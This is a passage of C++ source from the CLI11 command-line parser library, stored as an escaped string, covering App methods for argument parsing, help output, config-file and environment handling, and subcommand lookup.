&input) {\n    if(parsed_ == 0) {\n        _validate();\n        _configure();\n        // set the parent as nullptr as this object should be the top now\n    }\n\n    _parse_stream(input);\n    run_callback();\n}\n\nCLI11_INLINE int App::exit(const Error &e, std::ostream &out, std::ostream &err) const {\n\n    /// Avoid printing anything if this is a CLI::RuntimeError\n    if(e.get_name() == \"RuntimeError\")\n        return e.get_exit_code();\n\n    if(e.get_name() == \"CallForHelp\") {\n        out << help();\n        return e.get_exit_code();\n    }\n\n    if(e.get_name() == \"CallForAllHelp\") {\n        out << help(\"\", AppFormatMode::All);\n        return e.get_exit_code();\n    }\n\n    if(e.get_name() == \"CallForVersion\") {\n        out << e.what() << std::endl;\n        return e.get_exit_code();\n    }\n\n    if(e.get_exit_code() != static_cast<int>(ExitCodes::Success)) {\n        if(failure_message_)\n            err << failure_message_(this, e) << std::flush;\n    }\n\n    return e.get_exit_code();\n}\n\nCLI11_INLINE std::vector<const App *> App::get_subcommands(const std::function<bool(const App *)> &filter) const {\n    std::vector<const App *> subcomms(subcommands_.size());\n    std::transform(\n        std::begin(subcommands_), std::end(subcommands_), std::begin(subcomms), [](const App_p &v) { return v.get(); });\n\n    if(filter) {\n        subcomms.erase(std::remove_if(std::begin(subcomms),\n                                      std::end(subcomms),\n                                      [&filter](const App *app) { return !filter(app); }),\n                       std::end(subcomms));\n    }\n\n    return subcomms;\n}\n\nCLI11_INLINE std::vector<App *> App::get_subcommands(const std::function<bool(App *)> &filter) {\n    std::vector<App *> subcomms(subcommands_.size());\n    std::transform(\n        std::begin(subcommands_), std::end(subcommands_), std::begin(subcomms), [](const App_p &v) { return v.get(); });\n\n    if(filter) {\n        subcomms.erase(\n            std::remove_if(std::begin(subcomms), std::end(subcomms), [&filter](App *app) { return !filter(app); }),\n            std::end(subcomms));\n    }\n\n    return subcomms;\n}\n\nCLI11_INLINE bool App::remove_excludes(Option *opt) {\n    auto iterator = std::find(std::begin(exclude_options_), std::end(exclude_options_), opt);\n    if(iterator == std::end(exclude_options_)) {\n        return false;\n    }\n    exclude_options_.erase(iterator);\n    return true;\n}\n\nCLI11_INLINE bool App::remove_excludes(App *app) {\n    auto iterator = std::find(std::begin(exclude_subcommands_), std::end(exclude_subcommands_), app);\n    if(iterator == std::end(exclude_subcommands_)) {\n        return false;\n    }\n    auto *other_app = *iterator;\n    exclude_subcommands_.erase(iterator);\n    other_app->remove_excludes(this);\n    return true;\n}\n\nCLI11_INLINE bool App::remove_needs(Option *opt) {\n    auto iterator = std::find(std::begin(need_options_), std::end(need_options_), opt);\n    if(iterator == std::end(need_options_)) {\n        return false;\n    }\n    need_options_.erase(iterator);\n    return true;\n}\n\nCLI11_INLINE bool App::remove_needs(App *app) {\n    auto iterator = std::find(std::begin(need_subcommands_), std::end(need_subcommands_), app);\n    if(iterator == std::end(need_subcommands_)) {\n        return false;\n    }\n    need_subcommands_.erase(iterator);\n    return true;\n}\n\nCLI11_NODISCARD CLI11_INLINE std::string App::help(std::string prev, AppFormatMode mode) const {\n    if(prev.empty())\n        prev = get_name();\n    else\n        prev += \" \" + get_name();\n\n    // Delegate to subcommand if needed\n    auto selected_subcommands = get_subcommands();\n    if(!selected_subcommands.empty()) {\n        return selected_subcommands.back()->help(prev, mode);\n    }\n    return formatter_->make_help(this, prev, mode);\n}\n\nCLI11_NODISCARD CLI11_INLINE std::string App::version() const {\n    std::string val;\n    if(version_ptr_ != nullptr) {\n        auto rv = version_ptr_->results();\n        version_ptr_->clear();\n        version_ptr_->add_result(\"true\");\n        try {\n            version_ptr_->run_callback();\n        } catch(const CLI::CallForVersion &cfv) {\n            val = cfv.what();\n        }\n        version_ptr_->clear();\n        version_ptr_->add_result(rv);\n    }\n    return val;\n}\n\nCLI11_INLINE std::vector<const Option *> App::get_options(const std::function<bool(const Option *)> filter) const {\n    std::vector<const Option *> options(options_.size());\n    std::transform(\n        std::begin(options_), std::end(options_), std::begin(options), [](const Option_p &val) { return val.get(); });\n\n    if(filter) {\n        options.erase(std::remove_if(std::begin(options),\n                                     std::end(options),\n                                     [&filter](const Option *opt) { return !filter(opt); }),\n                      std::end(options));\n    }\n\n    return options;\n}\n\nCLI11_INLINE std::vector<Option *> App::get_options(const std::function<bool(Option *)> filter) {\n    std::vector<Option *> options(options_.size());\n    std::transform(\n        std::begin(options_), std::end(options_), std::begin(options), [](const Option_p &val) { return val.get(); });\n\n    if(filter) {\n        options.erase(\n            std::remove_if(std::begin(options), std::end(options), [&filter](Option *opt) { return !filter(opt); }),\n            std::end(options));\n    }\n\n    return options;\n}\n\nCLI11_INLINE Option *App::get_option_no_throw(std::string option_name) noexcept {\n    for(Option_p &opt : options_) {\n        if(opt->check_name(option_name)) {\n            return opt.get();\n        }\n    }\n    for(auto &subc : subcommands_) {\n        // also check down into nameless subcommands\n        if(subc->get_name().empty()) {\n            auto *opt = subc->get_option_no_throw(option_name);\n            if(opt != nullptr) {\n                return opt;\n            }\n        }\n    }\n    return nullptr;\n}\n\nCLI11_NODISCARD CLI11_INLINE const Option *App::get_option_no_throw(std::string option_name) const noexcept {\n    for(const Option_p &opt : options_) {\n        if(opt->check_name(option_name)) {\n            return opt.get();\n        }\n    }\n    for(const auto &subc : subcommands_) {\n        // also check down into nameless subcommands\n        if(subc->get_name().empty()) {\n            auto *opt = subc->get_option_no_throw(option_name);\n            if(opt != nullptr) {\n                return opt;\n            }\n        }\n    }\n    return nullptr;\n}\n\nCLI11_NODISCARD CLI11_INLINE std::string App::get_display_name(bool with_aliases) const {\n    if(name_.empty()) {\n        return std::string(\"[Option Group: \") + get_group() + \"]\";\n    }\n    if(aliases_.empty() || !with_aliases) {\n        return name_;\n    }\n    std::string dispname = name_;\n    for(const auto &lalias : aliases_) {\n        dispname.push_back(',');\n        dispname.push_back(' ');\n        dispname.append(lalias);\n    }\n    return dispname;\n}\n\nCLI11_NODISCARD CLI11_INLINE bool App::check_name(std::string name_to_check) const {\n    std::string local_name = name_;\n    if(ignore_underscore_) {\n        local_name = detail::remove_underscore(name_);\n        name_to_check = detail::remove_underscore(name_to_check);\n    }\n    if(ignore_case_) {\n        local_name = detail::to_lower(name_);\n        name_to_check = detail::to_lower(name_to_check);\n    }\n\n    if(local_name == name_to_check) {\n        return true;\n    }\n    for(auto les : aliases_) {  // NOLINT(performance-for-range-copy)\n        if(ignore_underscore_) {\n            les = detail::remove_underscore(les);\n        }\n        if(ignore_case_) {\n            les = detail::to_lower(les);\n        }\n        if(les == name_to_check) {\n            return true;\n        }\n    }\n    return false;\n}\n\nCLI11_NODISCARD CLI11_INLINE std::vector<std::string> App::get_groups() const {\n    std::vector<std::string> groups;\n\n    for(const Option_p &opt : options_) {\n        // Add group if it is not already in there\n        if(std::find(groups.begin(), groups.end(), opt->get_group()) == groups.end()) {\n            groups.push_back(opt->get_group());\n        }\n    }\n\n    return groups;\n}\n\nCLI11_NODISCARD CLI11_INLINE std::vector<std::string> App::remaining(bool recurse) const {\n    std::vector<std::string> miss_list;\n    for(const std::pair<detail::Classifier, std::string> &miss : missing_) {\n        miss_list.push_back(std::get<1>(miss));\n    }\n    // Get from a subcommand that may allow extras\n    if(recurse) {\n        if(!allow_extras_) {\n            for(const auto &sub : subcommands_) {\n                if(sub->name_.empty() && !sub->missing_.empty()) {\n                    for(const std::pair<detail::Classifier, std::string> &miss : sub->missing_) {\n                        miss_list.push_back(std::get<1>(miss));\n                    }\n                }\n            }\n        }\n        // Recurse into subcommands\n\n        for(const App *sub : parsed_subcommands_) {\n            std::vector<std::string> output = sub->remaining(recurse);\n            std::copy(std::begin(output), std::end(output), std::back_inserter(miss_list));\n        }\n    }\n    return miss_list;\n}\n\nCLI11_NODISCARD CLI11_INLINE std::vector<std::string> App::remaining_for_passthrough(bool recurse) const {\n    std::vector<std::string> miss_list = remaining(recurse);\n    std::reverse(std::begin(miss_list), std::end(miss_list));\n    return miss_list;\n}\n\nCLI11_NODISCARD CLI11_INLINE std::size_t App::remaining_size(bool recurse) const {\n    auto remaining_options = static_cast<std::size_t>(std::count_if(\n        std::begin(missing_), std::end(missing_), [](const std::pair<detail::Classifier, std::string> &val) {\n            return val.first != detail::Classifier::POSITIONAL_MARK;\n        }));\n\n    if(recurse) {\n        for(const App_p &sub : subcommands_) {\n            remaining_options += sub->remaining_size(recurse);\n        }\n    }\n    return remaining_options;\n}\n\nCLI11_INLINE void App::_validate() const {\n    // count the number of positional only args\n    auto pcount = std::count_if(std::begin(options_), std::end(options_), [](const Option_p &opt) {\n        return opt->get_items_expected_max() >= detail::expected_max_vector_size && !opt->nonpositional();\n    });\n    if(pcount > 1) {\n        auto pcount_req = std::count_if(std::begin(options_), std::end(options_), [](const Option_p &opt) {\n            return opt->get_items_expected_max() >= detail::expected_max_vector_size && !opt->nonpositional() &&\n                   opt->get_required();\n        });\n        if(pcount - pcount_req > 1) {\n            throw InvalidError(name_);\n        }\n    }\n\n    std::size_t nameless_subs{0};\n    for(const App_p &app : subcommands_) {\n        app->_validate();\n        if(app->get_name().empty())\n            ++nameless_subs;\n    }\n\n    if(require_option_min_ > 0) {\n        if(require_option_max_ > 0) {\n            if(require_option_max_ < require_option_min_) {\n                throw(InvalidError(\"Required min options greater than required max options\", ExitCodes::InvalidError));\n            }\n        }\n        if(require_option_min_ > (options_.size() + nameless_subs)) {\n            throw(\n                InvalidError(\"Required min options greater than number of available options\", ExitCodes::InvalidError));\n        }\n    }\n}\n\nCLI11_INLINE void App::_configure() {\n    if(default_startup == startup_mode::enabled) {\n        disabled_ = false;\n    } else if(default_startup == startup_mode::disabled) {\n        disabled_ = true;\n    }\n    for(const App_p &app : subcommands_) {\n        if(app->has_automatic_name_) {\n            app->name_.clear();\n        }\n        if(app->name_.empty()) {\n            app->fallthrough_ = false;  // make sure fallthrough_ is false to prevent infinite loop\n            app->prefix_command_ = false;\n        }\n        // make sure the parent is set to be this object in preparation for parse\n        app->parent_ = this;\n        app->_configure();\n    }\n}\n\nCLI11_INLINE void App::run_callback(bool final_mode, bool suppress_final_callback) {\n    pre_callback();\n    // in the main app if immediate_callback_ is set it runs the main callback before the used subcommands\n    if(!final_mode && parse_complete_callback_) {\n        parse_complete_callback_();\n    }\n    // run the callbacks for the received subcommands\n    for(App *subc : get_subcommands()) {\n        if(subc->parent_ == this) {\n            subc->run_callback(true, suppress_final_callback);\n        }\n    }\n    // now run callbacks for option_groups\n    for(auto &subc : subcommands_) {\n        if(subc->name_.empty() && subc->count_all() > 0) {\n            subc->run_callback(true, suppress_final_callback);\n        }\n    }\n\n    // finally run the main callback\n    if(final_callback_ && (parsed_ > 0) && (!suppress_final_callback)) {\n        if(!name_.empty() || count_all() > 0 || parent_ == nullptr) {\n            final_callback_();\n        }\n    }\n}\n\nCLI11_NODISCARD CLI11_INLINE bool App::_valid_subcommand(const std::string &current, bool ignore_used) const {\n    // Don't match if max has been reached - but still check parents\n    if(require_subcommand_max_ != 0 && parsed_subcommands_.size() >= require_subcommand_max_) {\n        return parent_ != nullptr && parent_->_valid_subcommand(current, ignore_used);\n    }\n    auto *com = _find_subcommand(current, true, ignore_used);\n    if(com != nullptr) {\n        return true;\n    }\n    // Check parent if exists, else return false\n    return parent_ != nullptr && parent_->_valid_subcommand(current, ignore_used);\n}\n\nCLI11_NODISCARD CLI11_INLINE detail::Classifier App::_recognize(const std::string &current,\n                                                                bool ignore_used_subcommands) const {\n    std::string dummy1, dummy2;\n\n    if(current == \"--\")\n        return detail::Classifier::POSITIONAL_MARK;\n    if(_valid_subcommand(current, ignore_used_subcommands))\n        return detail::Classifier::SUBCOMMAND;\n    if(detail::split_long(current, dummy1, dummy2))\n        return detail::Classifier::LONG;\n    if(detail::split_short(current, dummy1, dummy2)) {\n        if(dummy1[0] >= '0' && dummy1[0] <= '9') {\n            if(get_option_no_throw(std::string{'-', dummy1[0]}) == nullptr) {\n                return detail::Classifier::NONE;\n            }\n        }\n        return detail::Classifier::SHORT;\n    }\n    if((allow_windows_style_options_) && (detail::split_windows_style(current, dummy1, dummy2)))\n        return detail::Classifier::WINDOWS_STYLE;\n    if((current == \"++\") && !name_.empty() && parent_ != nullptr)\n        return detail::Classifier::SUBCOMMAND_TERMINATOR;\n    return detail::Classifier::NONE;\n}\n\nCLI11_INLINE void App::_process_config_file() {\n    if(config_ptr_ != nullptr) {\n        bool config_required = config_ptr_->get_required();\n        auto file_given = config_ptr_->count() > 0;\n        auto config_files = config_ptr_->as<std::vector<std::string>>();\n        if(config_files.empty() || config_files.front().empty()) {\n            if(config_required) {\n                throw FileError::Missing(\"no specified config file\");\n            }\n            return;\n        }\n        for(auto rit = config_files.rbegin(); rit != config_files.rend(); ++rit) {\n            const auto &config_file = *rit;\n            auto path_result = detail::check_path(config_file.c_str());\n            if(path_result == detail::path_type::file) {\n                try {\n                    std::vector<ConfigItem> values = config_formatter_->from_file(config_file);\n                    _parse_config(values);\n                    if(!file_given) {\n                        config_ptr_->add_result(config_file);\n                    }\n                } catch(const FileError &) {\n                    if(config_required || file_given)\n                        throw;\n                }\n            } else if(config_required || file_given) {\n                throw FileError::Missing(config_file);\n            }\n        }\n    }\n}\n\nCLI11_INLINE void App::_process_env() {\n    for(const Option_p &opt : options_) {\n        if(opt->count() == 0 && !opt->envname_.empty()) {\n            char *buffer = nullptr;\n            std::string ename_string;\n\n#ifdef _MSC_VER\n            // Windows version\n            std::size_t sz = 0;\n            if(_dupenv_s(&buffer, &sz, opt->envname_.c_str()) == 0 && buffer != nullptr) {\n                ename_string = std::string(buffer);\n                free(buffer);\n            }\n#else\n            // This also works on Windows, but gives a warning\n            buffer = std::getenv(opt->envname_.c_str());\n            if(buffer != nullptr)\n                ename_string = std::string(buffer);\n#endif\n\n            if(!ename_string.empty()) {\n                opt->add_result(ename_string);\n            }\n        }\n    }\n\n    for(App_p &sub : subcommands_) {\n        if(sub->get_name().empty() || !sub->parse_complete_callback_)\n            sub->_process_env();\n    }\n}\n\nCLI11_INLINE void App::_process_callbacks() {\n\n    for(App_p &sub : subcommands_) {\n        // process the priority option_groups first\n        if(sub->get_name().empty() && sub->parse_complete_callback_) {\n            if(sub->count_all() > 0) {\n                sub->_process_callbacks();\n                sub->run_callback();\n            }\n        }\n    }\n\n    for(const Option_p &opt : options_) {\n        if((*opt) && !opt->get_callback_run()) {\n            opt->run_callback();\n        }\n    }\n    for(App_p &sub : subcommands_) {\n        if(!sub->parse_complete_callback_) {\n            sub->_process_callbacks();\n        }\n    }\n}\n\nCLI11_INLINE void App::_process_help_flags(bool trigger_help, bool trigger_all_help) const {\n    const Option *help_ptr = get_help_ptr();\n    const Option *help_all_ptr = get_help_all_ptr();\n\n    if(help_ptr != nullptr && help_ptr->count() > 0)\n        trigger_help = true;\n    if(help_all_ptr != nullptr && help_all_ptr->count() > 0)\n        trigger_all_help = true;\n\n    // If there were parsed subcommands, call those. First subcommand wins if there are multiple ones.\n    if(!parsed_subcommands_.empty()) {\n        for(const App *sub : parsed_subcommands_)\n            sub->_process_help_flags(trigger_help, trigger_all_help);\n\n        // Only the final subcommand should call for help. All help wins over help.\n    } else if(trigger_all_help) {\n        throw CallForAllHelp();\n    } else if(trigger_help) {\n        throw CallForHelp();\n    }\n}\n\nCLI11_INLINE void App::_process_requirements() {\n    // check excludes\n    bool excluded{false};\n    std::string excluder;\n    for(const auto &opt : exclude_options_) {\n        if(opt->count() > 0) {\n            excluded = true;\n            excluder = opt->get_name();\n        }\n    }\n    for(const auto &subc : exclude_subcommands_) {\n        if(subc->count_all() > 0) {\n            excluded = true;\n            excluder = subc->get_display_name();\n        }\n    }\n    if(excluded) {\n        if(count_all() > 0) {\n            throw ExcludesError(get_display_name(), excluder);\n        }\n        // if we are excluded but didn't receive anything, just return\n        return;\n    }\n\n    // check excludes\n    bool missing_needed{false};\n    std::string missing_need;\n    for(const auto &opt : need_options_) {\n        if(opt->count() == 0) {\n            missing_needed = true;\n            missing_need = opt->get_name();\n        }\n    }\n    for(const auto &subc : need_subcommands_) {\n        if(subc->count_all() == 0) {\n            missing_needed = true;\n            missing_need = subc->get_display_name();\n        }\n    }\n    if(missing_needed) {\n        if(count_all() > 0) {\n            throw RequiresError(get_display_name(), missing_need);\n        }\n        // if we missing something but didn't have any options, just return\n        return;\n    }\n\n    std::size_t used_options = 0;\n    for(const Option_p &opt : options_) {\n\n        if(opt->count() != 0) {\n            ++used_options;\n        }\n        // Required but empty\n        if(opt->get_required() && opt->count() == 0) {\n            throw RequiredError(opt->get_name());\n        }\n        // Requires\n        for(const Option *opt_req : opt->needs_)\n            if(opt->count() > 0 && opt_req->count() == 0)\n                throw RequiresError(opt->get_name(), opt_req->get_name());\n        // Excludes\n        for(const Option *opt_ex : opt->excludes_)\n            if(opt->count() > 0 && opt_ex->count() != 0)\n                throw ExcludesError(opt->get_name(), opt_ex->get_name());\n    }\n    // check for the required number of subcommands\n    if(require_subcommand_min_ > 0) {\n        auto selected_subcommands = get_subcommands();\n        if(require_subcommand_min_ > selected_subcommands.size())\n            throw RequiredError::Subcommand(require_subcommand_min_);\n    }\n\n    // Max error cannot occur, the extra subcommand will parse as an ExtrasError or a remaining item.\n\n    // run this loop to check how many unnamed subcommands were actually used since they are considered options\n    // from the perspective of an App\n    for(App_p &sub : subcommands_) {\n        if(sub->disabled_)\n            continue;\n        if(sub->name_.empty() && sub->count_all() > 0) {\n            ++used_options;\n        }\n    }\n\n    if(require_option_min_ > used_options || (require_option_max_ > 0 && require_option_max_ < used_options)) {\n        auto option_list = detail::join(options_, [this](const Option_p &ptr) {\n            if(ptr.get() == help_ptr_ || ptr.get() == help_all_ptr_) {\n                return std::string{};\n            }\n            return ptr->get_name(false, true);\n        });\n\n        auto subc_list = get_subcommands([](App *app) { return ((app->get_name().empty()) && (!app->disabled_)); });\n        if(!subc_list.empty()) {\n            option_list += \",\" + detail::join(subc_list, [](const App *app) { return app->get_display_name(); });\n        }\n        throw RequiredError::Option(require_option_min_, require_option_max_, used_options, option_list);\n    }\n\n    // now process the requirements for subcommands if needed\n    for(App_p &sub : subcommands_) {\n        if(sub->disabled_)\n            continue;\n        if(sub->name_.empty() && sub->required_ == false) {\n            if(sub->count_all() == 0) {\n                if(require_option_min_ > 0 && require_option_min_ <= used_options) {\n                    continue;\n                    // if we have met the requirement and there is nothing in this option group skip checking\n                    // requirements\n                }\n                if(require_option_max_ > 0 && used_options >= require_option_min_) {\n                    continue;\n                    // if we have met the requirement and there is nothing in this option group skip checking\n                    // requirements\n                }\n            }\n        }\n        if(sub->count() > 0 || sub->name_.empty()) {\n            sub->_process_requirements();\n        }\n\n        if(sub->required_ && sub->count_all() == 0) {\n            throw(CLI::RequiredError(sub->get_display_name()));\n        }\n    }\n}\n\nCLI11_INLINE void App::_process() {\n    try {\n        // the config file might generate a FileError but that should not be processed until later in the process\n        // to allow for help, version and other errors to generate first.\n        _process_config_file();\n\n        // process env shouldn't throw but no reason to process it if config generated an error\n        _process_env();\n    } catch(const CLI::FileError &) {\n        // callbacks and help_flags can generate exceptions which should take priority\n        // over the config file error if one exists.\n        _process_callbacks();\n        _process_help_flags();\n        throw;\n    }\n\n    _process_callbacks();\n    _process_help_flags();\n\n    _process_requirements();\n}\n\nCLI11_INLINE void App::_process_extras() {\n    if(!(allow_extras_ || prefix_command_)) {\n        std::size_t num_left_over = remaining_size();\n        if(num_left_over > 0) {\n            throw ExtrasError(name_, remaining(false));\n        }\n    }\n\n    for(App_p &sub : subcommands_) {\n        if(sub->count() > 0)\n            sub->_process_extras();\n    }\n}\n\nCLI11_INLINE void App::_process_extras(std::vector<std::string> &args) {\n    if(!(allow_extras_ || prefix_command_)) {\n        std::size_t num_left_over = remaining_size();\n        if(num_left_over > 0) {\n            args = remaining(false);\n            throw ExtrasError(name_, args);\n        }\n    }\n\n    for(App_p &sub : subcommands_) {\n        if(sub->count() > 0)\n            sub->_process_extras(args);\n    }\n}\n\nCLI11_INLINE void App::increment_parsed() {\n    ++parsed_;\n    for(App_p &sub : subcommands_) {\n        if(sub->get_name().empty())\n            sub->increment_parsed();\n    }\n}\n\nCLI11_INLINE void App::_parse(std::vector<std::string> &args) {\n    increment_parsed();\n    _trigger_pre_parse(args.size());\n    bool positional_only = false;\n\n    while(!args.empty()) {\n        if(!_parse_single(args, positional_only)) {\n            break;\n        }\n    }\n\n    if(parent_ == nullptr) {\n        _process();\n\n        // Throw error if any items are left over (depending on settings)\n        _process_extras(args);\n\n        // Convert missing (pairs) to extras (string only) ready for processing in another app\n        args = remaining_for_passthrough(false);\n    } else if(parse_complete_callback_) {\n        _process_env();\n        _process_callbacks();\n        _process_help_flags();\n        _process_requirements();\n        run_callback(false, true);\n    }\n}\n\nCLI11_INLINE void App::_parse(std::vector<std::string> &&args) {\n    // this can only be called by the top level in which case parent == nullptr by definition\n    // operation is simplified\n    increment_parsed();\n    _trigger_pre_parse(args.size());\n    bool positional_only = false;\n\n    while(!args.empty()) {\n        _parse_single(args, positional_only);\n    }\n    _process();\n\n    // Throw error if any items are left over (depending on settings)\n    _process_extras();\n}\n\nCLI11_INLINE void App::_parse_stream(std::istream &input) {\n    auto values = config_formatter_->from_config(input);\n    _parse_config(values);\n    increment_parsed();\n    _trigger_pre_parse(values.size());\n    _process();\n\n    // Throw error if any items are left over (depending on settings)\n    _process_extras();\n}\n\nCLI11_INLINE void App::_parse_config(const std::vector<ConfigItem> &args) {\n    for(const ConfigItem &item : args) {\n        if(!_parse_single_config(item) && allow_config_extras_ == config_extras_mode::error)\n            throw ConfigError::Extras(item.fullname());\n    }\n}\n\nCLI11_INLINE bool App::_parse_single_config(const ConfigItem &item, std::size_t level) {\n    if(level < item.parents.size()) {\n        try {\n            auto *subcom = get_subcommand(item.parents.at(level));\n            auto result = subcom->_parse_single_config(item, level + 1);\n\n            return result;\n        } catch(const OptionNotFound &) {\n            return false;\n        }\n    }\n    // check for section open\n    if(item.name == \"++\") {\n        if(configurable_) {\n            increment_parsed();\n            _trigger_pre_parse(2);\n            if(parent_ != nullptr) {\n                parent_->parsed_subcommands_.push_back(this);\n            }\n        }\n        return true;\n    }\n    // check for section close\n    if(item.name == \"--\") {\n        if(configurable_ && parse_complete_callback_) {\n            _process_callbacks();\n            _process_requirements();\n            run_callback();\n        }\n        return true;\n    }\n    Option *op = get_option_no_throw(\"--\" + item.name);\n    if(op == nullptr) {\n        if(item.name.size() == 1) {\n            op = get_option_no_throw(\"-\" + item.name);\n        }\n    }\n    if(op == nullptr) {\n        op = get_option_no_throw(item.name);\n    }\n    if(op == nullptr) {\n        // If the option was not present\n        if(get_allow_config_extras() == config_extras_mode::capture)\n            // Should we worry about classifying the extras properly?\n            missing_.emplace_back(detail::Classifier::NONE, item.fullname());\n        return false;\n    }\n\n    if(!op->get_configurable()) {\n        if(get_allow_config_extras() == config_extras_mode::ignore_all) {\n            return false;\n        }\n        throw ConfigError::NotConfigurable(item.fullname());\n    }\n\n    if(op->empty()) {\n\n        if(op->get_expected_min() == 0) {\n            if(item.inputs.size() <= 1) {\n                // Flag parsing\n                auto res = config_formatter_->to_flag(item);\n                bool converted{false};\n                if(op->get_disable_flag_override()) {\n\n                    try {\n                        auto val = detail::to_flag_value(res);\n                        if(val == 1) {\n                            res = op->get_flag_value(item.name, \"{}\");\n                            converted = true;\n                        }\n                    } catch(...) {\n                    }\n                }\n\n                if(!converted) {\n                    res = op->get_flag_value(item.name, res);\n                }\n\n                op->add_result(res);\n                return true;\n            }\n            if(static_cast<int>(item.inputs.size()) > op->get_items_expected_max()) {\n                if(op->get_items_expected_max() > 1) {\n                    throw ArgumentMismatch::AtMost(item.fullname(), op->get_items_expected_max(), item.inputs.size());\n                }\n                throw ConversionError::TooManyInputsFlag(item.fullname());\n            }\n        }\n        op->add_result(item.inputs);\n        op->run_callback();\n    }\n\n    return true;\n}\n\nCLI11_INLINE bool App::_parse_single(std::vector<std::string> &args, bool &positional_only) {\n    bool retval = true;\n    detail::Classifier classifier = positional_only ? detail::Classifier::NONE : _recognize(args.back());\n    switch(classifier) {\n    case detail::Classifier::POSITIONAL_MARK:\n        args.pop_back();\n        positional_only = true;\n        if((!_has_remaining_positionals()) && (parent_ != nullptr)) {\n            retval = false;\n        } else {\n            _move_to_missing(classifier, \"--\");\n        }\n        break;\n    case detail::Classifier::SUBCOMMAND_TERMINATOR:\n        // treat this like a positional mark if in the parent app\n        args.pop_back();\n        retval = false;\n        break;\n    case detail::Classifier::SUBCOMMAND:\n        retval = _parse_subcommand(args);\n        break;\n    case detail::Classifier::LONG:\n    case detail::Classifier::SHORT:\n    case detail::Classifier::WINDOWS_STYLE:\n        // If already parsed a subcommand, don't accept options_\n        _parse_arg(args, classifier);\n        break;\n    case detail::Classifier::NONE:\n        // Probably a positional or something for a parent (sub)command\n        retval = _parse_positional(args, false);\n        if(retval && positionals_at_end_) {\n            positional_only = true;\n        }\n        break;\n        // LCOV_EXCL_START\n    default:\n        throw HorribleError(\"unrecognized classifier (you should not see this!)\");\n        // LCOV_EXCL_STOP\n    }\n    return retval;\n}\n\nCLI11_NODISCARD CLI11_INLINE std::size_t App::_count_remaining_positionals(bool required_only) const {\n    std::size_t retval = 0;\n    for(const Option_p &opt : options_) {\n        if(opt->get_positional() && (!required_only || opt->get_required())) {\n            if(opt->get_items_expected_min() > 0 && static_cast<int>(opt->count()) < opt->get_items_expected_min()) {\n                retval += static_cast<std::size_t>(opt->get_items_expected_min()) - opt->count();\n            }\n        }\n    }\n    return retval;\n}\n\nCLI11_NODISCARD CLI11_INLINE bool App::_has_remaining_positionals() const {\n    for(const Option_p &opt : options_) {\n        if(opt->get_positional() && ((static_cast<int>(opt->count()) < opt->get_items_expected_min()))) {\n            return true;\n        }\n    }\n\n    return false;\n}\n\nCLI11_INLINE bool App::_parse_positional(std::vector<std::string> &args, bool haltOnSubcommand) {\n\n    const std::string &positional = args.back();\n\n    if(positionals_at_end_) {\n        // deal with the case of required arguments at the end which should take precedence over other arguments\n        auto arg_rem = args.size();\n        auto remreq = _count_remaining_positionals(true);\n        if(arg_rem <= remreq) {\n            for(const Option_p &opt : options_) {\n                if(opt->get_positional() && opt->required_) {\n                    if(static_cast<int>(opt->count()) < opt->get_items_expected_min()) {\n                        if(validate_positionals_) {\n                            std::string pos = positional;\n                            pos = opt->_validate(pos, 0);\n                            if(!pos.empty()) {\n                                continue;\n                            }\n                        }\n\n                        parse_order_.push_back(opt.get());\n                        /// if we require a separator add it here\n                        if(opt->get_inject_separator()) {\n                            if(!opt->results().empty() && !opt->results().back().empty()) {\n                                opt->add_result(std::string{});\n                            }\n                        }\n                        if(opt->get_trigger_on_parse() &&\n                           opt->current_option_state_ == Option::option_state::callback_run) {\n                            opt->clear();\n                        }\n                        opt->add_result(positional);\n                        if(opt->get_trigger_on_parse()) {\n                            opt->run_callback();\n                        }\n                        args.pop_back();\n                        return true;\n                    }\n                }\n            }\n        }\n    }\n    for(const Option_p &opt : options_) {\n        // Eat options, one by one, until done\n        if(opt->get_positional() &&\n           (static_cast<int>(opt->count()) < opt->get_items_expected_min() || opt->get_allow_extra_args())) {\n            if(validate_positionals_) {\n                std::string pos = positional;\n                pos = opt->_validate(pos, 0);\n                if(!pos.empty()) {\n                    continue;\n                }\n            }\n            if(opt->get_inject_separator()) {\n                if(!opt->results().empty() && !opt->results().back().empty()) {\n                    opt->add_result(std::string{});\n                }\n            }\n            if(opt->get_trigger_on_parse() && opt->current_option_state_ == Option::option_state::callback_run) {\n                opt->clear();\n            }\n            opt->add_result(positional);\n            if(opt->get_trigger_on_parse()) {\n                opt->run_callback();\n            }\n            parse_order_.push_back(opt.get());\n            args.pop_back();\n            return true;\n        }\n    }\n\n    for(auto &subc : subcommands_) {\n        if((subc->name_.empty()) && (!subc->disabled_)) {\n            if(subc->_parse_positional(args, false)) {\n                if(!subc->pre_parse_called_) {\n                    subc->_trigger_pre_parse(args.size());\n                }\n                return true;\n            }\n        }\n    }\n    // let the parent deal with it if possible\n    if(parent_ != nullptr && fallthrough_)\n        return _get_fallthrough_parent()->_parse_positional(args, static_cast<bool>(parse_complete_callback_));\n\n    /// Try to find a local subcommand that is repeated\n    auto *com = _find_subcommand(args.back(), true, false);\n    if(com != nullptr && (require_subcommand_max_ == 0 || require_subcommand_max_ > parsed_subcommands_.size())) {\n        if(haltOnSubcommand) {\n            return false;\n        }\n        args.pop_back();\n        com->_parse(args);\n        return true;\n    }\n    /// now try one last gasp at subcommands that have been executed before, go to root app and try to find a\n    /// subcommand in a broader way, if one exists let the parent deal with it\n    auto *parent_app = (parent_ != nullptr) ? _get_fallthrough_parent() : this;\n    com = parent_app->_find_subcommand(args.back(), true, false);\n    if(com != nullptr && (com->parent_->require_subcommand_max_ == 0 ||\n                          com->parent_->require_subcommand_max_ > com->parent_->parsed_subcommands_.size())) {\n        return false;\n    }\n\n    if(positionals_at_end_) {\n        throw CLI::ExtrasError(name_, args);\n    }\n    /// If this is an option group don't deal with it\n    if(parent_ != nullptr && name_.empty()) {\n        return false;\n    }\n    /// We are out of other options this goes to missing\n    _move_to_missing(detail::Classifier::NONE, positional);\n    args.pop_back();\n    if(prefix_command_) {\n        while(!args.empty()) {\n            _move_to_missing(detail::Classifier::NONE, args.back());\n            args.pop_back();\n        }\n    }\n\n    return true;\n}\n\nCLI11_NODISCARD CLI11_INLINE App *\nApp::_find_subcommand(const std::string &subc_name, bool ignore_disabled, bool ignore_used) const noexcept {\n    for(const App_p &com : subcommands_) {\n        if(com->disabled_ && ignore_disabled)\n            continue;\n        if(com->get_name().empty()) {\n            auto *subc = com->_find_subcommand(subc_name, ignore_disabled, ignore_used);\n            if(subc != nullptr) {\n                return subc;\n            }\n        }\n        if(com->check_name(subc_name)) {\n            if((!*com) || !ignore_used)\n                return com.get();\n        }\n    }\n    return 